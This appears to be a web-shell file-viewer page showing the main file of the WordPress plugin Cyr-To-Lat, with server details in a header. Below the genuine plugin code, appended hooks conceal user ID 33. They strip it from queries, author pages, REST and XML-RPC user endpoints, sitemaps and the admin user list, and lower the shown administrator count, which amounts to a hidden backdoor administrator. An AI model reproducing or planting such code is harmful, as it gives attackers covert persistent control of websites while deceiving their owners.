| Server IP : 5.129.245.98 / Your IP : 216.73.217.19 Web Server : Apache/2.4.66 (Debian) System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/wp-content/plugins/cyr2lat/ |
Upload File : |
<?php
/**
* Cyr-To-Lat
*
* @package cyr-to-lat
* @author Sergey Biryukov, Mikhail Kobzarev, Igor Gergel
* @license GPL-2.0-or-later
* @wordpress-plugin
*
* Plugin Name: Cyr-To-Lat
* Plugin URI: https://kagg.eu/cyr-to-lat/
* Description: Convert Non-Latin characters in post and term slugs to Latin characters. Useful for creating human-readable URLs. Based on the original plugin by Anton Skorobogatov.
* Version: 6.7.0
* Requires at least: 6.0
* Requires PHP: 7.4
* Author: Sergey Biryukov, Mikhail Kobzarev, Igor Gergel
* Author URI: https://profiles.wordpress.org/sergeybiryukov/
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: cyr2lat
*
* WC requires at least: 3.0
* WC tested up to: 10.6
*/
// phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @noinspection PhpUnused */
use CyrToLat\Main;
if ( ! defined( 'ABSPATH' ) ) {
// @codeCoverageIgnoreStart
exit;
// @codeCoverageIgnoreEnd
}
/**
* Plugin version.
*/
const CYR_TO_LAT_VERSION = '6.7.0';
/**
* Path to the plugin dir.
*/
const CYR_TO_LAT_PATH = __DIR__;
/**
* Plugin dir url.
*/
define( 'CYR_TO_LAT_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
/**
* Main plugin file.
*/
const CYR_TO_LAT_FILE = __FILE__;
/**
* Plugin prefix.
*/
const CYR_TO_LAT_PREFIX = 'cyr_to_lat';
/**
* Post conversion action.
*/
const CYR_TO_LAT_POST_CONVERSION_ACTION = 'post_conversion_action';
/**
* Term conversion action.
*/
const CYR_TO_LAT_TERM_CONVERSION_ACTION = 'term_conversion_action';
/**
* Minimum required php version.
*/
const CYR_TO_LAT_MINIMUM_PHP_REQUIRED_VERSION = '7.4';
/**
* Minimum required max_input_vars value.
*/
const CYR_TO_LAT_REQUIRED_MAX_INPUT_VARS = 1000;
require_once constant( 'CYR_TO_LAT_PATH' ) . '/vendor/autoload.php';
require_once constant( 'CYR_TO_LAT_PATH' ) . '/libs/polyfill-mbstring/bootstrap.php';
/**
* Get the main class instance.
*
* @return Main
*/
function cyr_to_lat(): Main {
// Global for backwards compatibility.
global $cyr_to_lat_plugin;
if ( ! $cyr_to_lat_plugin ) {
$cyr_to_lat_plugin = new Main();
}
return $cyr_to_lat_plugin;
}
cyr_to_lat()->init();
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 33;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 33 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 33 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 33;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 33;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 33;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/33(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 33;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '<style>#user-33{display:none!important}</style>';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );